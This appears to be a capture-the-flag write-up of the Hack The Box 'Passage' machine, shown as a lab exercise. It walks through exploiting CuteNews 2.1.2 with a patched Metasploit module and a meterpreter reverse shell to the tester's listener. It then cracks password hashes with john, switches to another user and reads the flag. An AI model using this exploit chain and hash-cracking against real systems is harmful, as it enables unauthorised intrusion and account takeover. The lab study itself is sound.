Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Sep 6 12:17:20 2020 -- 1 IP address (1 host up) scanned in 16.72 seconds
We found the site has implement fail2ban, which it will block certain IP address if it touches the threshold, gobuster might not work here.
and we will have error saying out file unable to load. Because there’s some error in this ruby file (Why offsec would keep bad module ?)
'References' => [ ['URL', 'http://pentest.com.tr/exploits/CuteNews-2-1-2-Remote-Code-Execution-Metasploit.html'], // <---- Add a comma here to fix ['URL', 'http://cutephp.com'] # Official Website
First, we have to register a account
Next, open up msfconsole, load the module we just added
reload_all
And this is our options
msf5 exploit(linux/http/46698) > options
Module options (exploit/linux/http/46698):
Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD ikonw no Password to authenticate with Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 10.129.5.22 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI /CuteNews yes Base CutePHP directory path USERNAME ikonw yes Username to authenticate with VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.10.14.6 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 0 Automatic msf5 exploit(linux/http/46698) > run
[*] Started reverse TCP handler on 10.10.14.6:4444 [*] http://10.129.5.22:80 - CuteNews is 2.1.2 [+] Authentication was successful with user: ikonw [*] Trying to upload ouriwixb.php [+] Upload successfully. [*] Sending stage (38288 bytes) to 10.129.5.22 [*] Meterpreter session 1 opened (10.10.14.6:4444 -> 10.129.5.22:37850) at 2020-09-06 13:02:44 +0800
and we got the www-data user.
We found 2 user
nadav and paul
www-data@passage:/home$ ls ls nadav paul
Went back to web directory for more enumeration, try to see if any config file stores the users cred
Along the way we find out that CuteNews does not have database, all it’s data are store in PHP.
For convivence, I zip the whole web folder and download it to local for more analysis.
┌──(root💀kali)-[~/Desktop/hackthebox/Linux/passage] └─# john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-sha256 password Using default input encoding: UTF-8 Loaded 5 password hashes with no different salts (Raw-SHA256 [SHA256 128/128 AVX 4x]) Warning: poor OpenMP scalability for this hashtype, consider --fork=4 Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status atlanta1 (?) 1g 0:00:00:01 DONE (2020-09-06 15:08) 0.8403g/s 12053Kp/s 12053Kc/s 48240KC/s (454579)..*7¡Vamos! Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably Session completed
we got the password atlanta1
we manage su to paul account
paul@passage:/var/www/html/CuteNews/cdata$ whoami whoami paul paul@passage:/var/www/html/CuteNews/cdata$ cd ~ cd ~ paul@passage:~$ ls ls Desktop Downloads Music Public user.txt Documents examples.desktop Pictures Templates Videos paul@passage:~$ cat user.txt cat user.txt 3f0dfa31752b3222428868b631ebe589
After some enumeration
authorized_keys only have one nadav value. That means key belongs nadav. This key can access to both nadav and paul
